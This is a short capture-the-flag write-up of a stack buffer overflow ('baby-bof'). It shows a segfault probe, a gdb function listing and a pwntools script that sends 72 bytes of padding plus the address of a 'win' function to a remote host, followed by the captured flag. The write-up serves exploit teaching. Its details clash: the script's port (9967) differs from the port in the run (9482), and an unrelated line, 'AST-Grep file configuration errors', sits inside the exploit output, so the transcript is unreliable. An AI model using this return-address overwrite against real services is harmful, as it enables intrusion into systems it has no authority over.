

# baby-bof

When connected to the container, if i entered a short input i just got the message "La revedere!", but for longer inputs i got seg fault. This lead me to belive that it's a buffer overflow.

```
$ nc ctf.ac.upt.ro 9482
Bine ai venit la PWN!
Spune ceva:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault (core dumped)
```

```
(gdb) info function
All defined functions:

Non-debugging symbols:
0x000000000401000 _init
0x000000000401030 puts@plt
0x000000000401040 fclose@plt
0x000000000401050 read@plt
0x000000000401060 fgets@plt
0x000000000401070 fflush@plt
0x000000000401080 setvbuf@plt
0x000000000401090 fopen@plt
0x0000000004010a0 exit@plt
0x0000000004010b0 _start
0x0000000004010e0 _dl_relocate_static_pie
0x0000000004010f0 deregister_tm_clones
0x000000000401120 register_tm_clones
0x000000000401160 __do_global_ctors_aux
0x000000000401190 frame_dummy
0x000000000401196 win
0x00000000040123e vuln
0x00000000040127d main
0x0000000004012e8 _fini
```

Found a `win` function at `0x401196` that looked promising.

Disassembled the binary and found the vulnerable buffer is 64 bytes, so offset to RIP is 72 bytes. Time to pwn:

```
from pwn import *
io = remote('ctf.ac.upt.ro', 9967)
io.recvuntil(b"Spune ceva:")
payload = b"A" * 72 + p64(0x401196)
io.sendline(payload)
io.interactive()
```

After i ran the exploit, i got the flag.

```
└─$ python exploit.py
[+] Opening connection to ctf.ac.upt.ro on port 9482: Done
[*] Switching to interactive mode
AST-Grep file configuration errors
ctf{3c1315f63d550570a690f693554647b7763c3acbc806ae846ce8d25b5f364d10}
[*] Got EOF while reading in interactive
$
```

flag: ctf{3c1315f63d550570a690f693554647b7763c3acbc806ae846ce8d25b5f364d10}